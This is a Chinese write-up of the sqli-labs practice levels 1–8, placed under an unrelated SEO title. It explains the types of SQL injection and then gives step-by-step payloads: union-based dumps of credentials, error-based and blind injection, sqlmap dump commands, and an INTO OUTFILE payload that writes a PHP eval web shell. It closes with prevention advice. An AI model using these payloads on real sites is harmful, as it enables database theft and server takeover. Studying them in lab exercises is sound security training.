wordpress sae 安装主题东营网站seo
一、概述
SQL注入（SQL Injection）是发生在web程序中数据库层的安全漏洞，是比较常用的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编写时的疏忽，通过SQL语句，实现无账号登录，甚至修改数据库，也就是说，SQL注入就是在爱用户输入的字符串中添加SQL语句，如果在设计不良的程序中忽略了检查，那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行，攻击者就可以执行计划外的命令或者访问未授权的数据。
二、SQL注入的危害
（1）数据库信息泄露：数据库中存放的用户的隐私信息的泄露；
（2）网页篡改：通过操作数据库对特定网页进行篡改；
（3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击；
（4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员账户被篡改；
（5）服务器被远程控制：被安装后门，经由数据库服务提供的操作系统支持，让黑客得以修改或控制操作系统；
（6）破坏硬盘数据，瘫痪全系统。
三、SQL注入漏洞的原理
在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞，被攻击者利用来攻击系统和网站。
攻击者在提交请求时将SQL语句插入到请求内容中，程序本身对用户输入内容未经处理,同时而未对恶意用户插入的SQL语句进行过滤，导致SQL语句直接被服务端执行。
四、SQL注入关卡靶场介绍
在SQL注入漏洞中，注入类型分为三种:数字型、字符型、搜索型
1.数字型
在 Web 端中经常能看到是例如http://xxx.com/news.php?id=1 这种形式，其注入点 id 类型为数字，所以叫数字型注入点。
这一类的 SQL 语句结构通常为 select * from news where id=1 ,如果攻击者将参数id的值改为1 or 1=1,那么程序中拼接的sql语句则为：select * from news where id=1 or 1=1,因此参数改变了原有的SQL语句结构，导致了SQL注入漏洞攻击。
2.字符型
在 Web 端中也经常能看到例如http://xxx.com/news.php?name=admin 这种形式的URL地址，其注入点 name 类型为字符类型，所以叫字符型注入点。这一类的 SQL 语句结构通常为
select * from 表名 where name='admin'当攻击者在参数值admin尾部加入攻击代码' or 1=1,那么拼接出来的sql注入语句为：
select * from news where chr='admin' or 1=1 '这样SQL语句同样也会被改变，当然攻击者也不仅仅使用这么简单的攻击代码，通常还会使用一些更加复杂的攻击代码，例如
admin' union select 1,2,3,4 or '1'='1 在程序中拼接SQL语句之后，则变成了
select * from news where chr='admin' union select 1,2,3,4 or '1'='1' 这样就可以使用union结构将攻击者所感兴趣的内容返回回来
3.搜索型
很多时候我们会看到网站有个站内搜索的功能，搜索功能往往需要和数据库进行交互，因此也会存在SQL注入漏洞风险，搜索型SQL注入的特点是攻击代码中有两个% 当攻击代码为
%xxxx% or 1=1 #%'所有的用户都在下方展示了出来，在命令行里我们可以这样搜索：
五、攻击实例
1.SQL-ONE
1.判断是否存在sql注入，根据提示输入数值的ID作为参数，例如：?id=1 ?id=2 ?id=3
2.输入数值不同返回的内容也不同，可以判断我们输入的内容事带入到了数据库中进行查询了。
3.判断sql语句是否拼接，同时判断是字符型还是数字型。
4.根据上述结果可以判定是字符型且存在sql注入漏洞。
5．联合注入，第一步：知道表格有几列，如果报错就是超过列数，如果显示正常就是没有超过列数。
输入代码：?id=1'order by 3 --+
再次输入代码：?id=1'order by 4 --+
6.可以看到是第二列和第三列里面的数据是显示在也页面的
输入代码：?id=-1'union select 1,2,3--+
7.获取当前数据名和版本号
输入代码：?id=-1'union select 1,database(),version()--+
8.爆表，information_schema.tables表示该数据库下的tables表，点表示下一级。where后面是条件，group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
输入代码：?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
9．爆字段名，通过sql语句查询知道当前数据库有四个表，根据表名可能知道账号和密码是在users表中
输入代码：?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
10.通过上述操作可以得到的两个敏感字段是username和password
继续输入代码：?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.SQL-TWO
1.和第一关是一样进行判断，当我们输入单引号或者双引号可以看到报错，且报错信息看不到数字，所有我们可以猜测sql语句应该是数字型注入。
2.order by猜解字段
可以看到order by 3 时显示正常，order by 4时显示异常，说明有3个可显示字段。
3.查找数据库名称和版本号：?id=-1 union select 1,database(),version()
4.查找表名：?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
5.查询列名：?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6.显示用户名和密码：?id=-1 union select 1,2,group_concat(username ,id , password) from users
3.SQL-THREE
1.判断是否存在注入点
?id=1’) and 1=1 --+
?id=1’) and 1=2 --+
2.判断字段数
?id=1 order by 3 --+
?id=1 order by 4 --+
3.判断回显点
?id=15') union select 1,2,3 --+
4.查询相关内容，如数据库名、表名、列名
数据库名
?id=15')union select 1,database(),3 --+
表名
?id=15')union select 1,table_name,3 from
information_schema.tables where table_schema='security' limit 0,1 --+
列名
?id=15')union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
账号密码：?id=0') union select 1,username,password from users limit 1,1 --+
4.SQL-FOUR
1.判断是否存在注入点
?id=1”) and 1=1 --+
?id=1”) and 1=2 --+
2.判断字段数
?id=1”)order by 3 --+
?id=1”)order by 4 --+
3.判断回显点
?id=15”) union select 1,2,3 --+
4.查询相关内容，如数据库名、表名、列名
数据库名：
?id=15”)union select 1,database(),3 --+
表名：
?id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+
列名：
?id=15")union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
账号密码：?id=15")union select 1,username,password from users limit 0,1 --+
5.SQL-Five
1.判断注入类型
Sql属于字符型注入
此关手动注入倾向于用基于报错的SQL盲注
2.判断注入点
单引号闭合
· 3.联合注入，判断字段数
字段数为1，2，3
4.爆出显错位
无显错位，故可使用盲注，本关使用基于报错的SQL盲注
5.Updatexml注入
爆库名
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- +
得到当前库名为security
爆表名
?id=1' and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)-- +
得到当前表名有emails，referers，uagents，user
爆列名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1)-- +
得到users表的所有列名为id，username，password
爆字段号
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)-- +
获得用户表的账号为Dumb，密码为Dumb
6.SQL-Six
1、判断注入类型
Sql属于字符型注入
2、判断注入点
双引号闭合
3、联合注入，判断字段数
字段数为1，2，3
4、爆出显错位
无显错位，故可使用盲注，本关使用基于报错的SQL盲注
5、双查询注入
爆库名
?id=1" union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a-- +
得到当前库名为security
爆表名
?id=1" union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
得到当前表名有emails，referers，uagents，user
爆列名
?id=1" union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a -- +得到user表的所有列名为USER，CURRENT_CONNECTIONS，TOTAL_CONNECTIONS,id,username,password,level
爆字段号
?id=1" union select 1,count(*),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a --+
获得用户表的账号为Dumb，密码为Dumb
7.SQL-SEVEN
当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错，但是没有报错信息，这和我们之前的关卡不一样，之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错，这时候我们可以输入id=1')--+发现依然报错，之时我试试是不是双括号输入id=1'))--+，发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。
1.判断是否存在注入
当输入？id=1时
当输入？id=1’时回显错误 初步判断为字符型注入
接下来我们测试 ?id=1' 是否是注入点(利用 or 1=1 或者 and 1=1等方法)：
发现报错，那么接下来 分析是否存在括号及其个数，依次增加括号个数，直到回显正常
由此可推断出，这是带双括号的单引号注入
1、先导出文件
导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径
2、读写权限测试：?id=1')) and (select count(*) from mysql.user)>0 --+ 返回正常则有权限读写
3、利用into outfile进行演示：?id=-1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test1.txt"--+
在浏览器或后台中生成test.txt文件
导入到文件：?id=1')) union select 1,2,'<?php @eval($_POST["111111"])?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php" --+
中国蚁剑链接
8.SQL-EIGHT
1、分别输入?Id=1 ?Id=1’ ?Id=1”
根据题目提示可知这是单引号注入且需要通过盲注进行通关
那么首先利用单引号看一下网页的回显：
用?id=1’ or1=1--+测试是不是注入点
利用布尔盲注进行数据库信息。
利用 left(version(),1)进行尝试，查看一下 version()，当前环境数据库的版本号为 5.5.47 这里的语句的意思是看版本号的第一位是不是 5，明显的返回的结果是正确的。
?id=1' and length(database())=8 --+
查看数据库的长度，长度为 8 时，正确回显，说明长度为 8.（知道了数据库长度可大大减少我们猜数据库名的时间）
?id=1' and left(database(),1)>'s' --+
依次可推出security
2、在sqlmap中输入：python sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1 --dbs -batch ，得到数据库名为security。
在sqlmap中输入python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1--current-db -batch 得到数据库中的表
获取数据库中的列输入：python 
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1-D security -T users --columns -batch
获取数据库中的数据python 
sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1 -D security -T users -C username--dump -batch
六、总结
通过此次对sqil关卡的通关，我了解到sql注入本质上来说就是拼接字符，通过输入额外的信息破坏外后端脚本原有的查询语句结构，从而达成注入的目的。在SQLI中，按照注入参数类别分为字符型注入、数字型注入、GET型注入、URL注入、请求头注入、POST注入、有回显的注入、联合查询注入等。在通关时，应判断闭合符，列数，然后开始查询数据库名，查表名，查列名，最后查数据得到用户名和密码。其中我对于盲注有进行部分深入了解，盲注分为布尔盲注和时间盲注，对于盲注常用报错注入方式进行破解，常见的报错注入有双查询报错注入、exp函数报错注入、updatexml函数报错注入、extractvalue函数报错注入，join语句报错注入等等，当然还有一些报错注入，不过不常用。当然，除了盲注外还有其他的注入，如二阶注入、堆叠注入、长字符串截断注入、无回显的注入等等。总的来说，sql注入存在的原因就是计算机对代码部分与数据部分区分错误导致的。
对于SQL注入的预防措施，如过滤输入内容，校验字符串、参数化查询，也就是绑定变量，使用预编译查询、采用安全测试，安全审计，如避免使用动态SQL，不要将敏感数据保留在纯文本中，限制数据库的权限和特权以及避免直接向用户显示数据库错误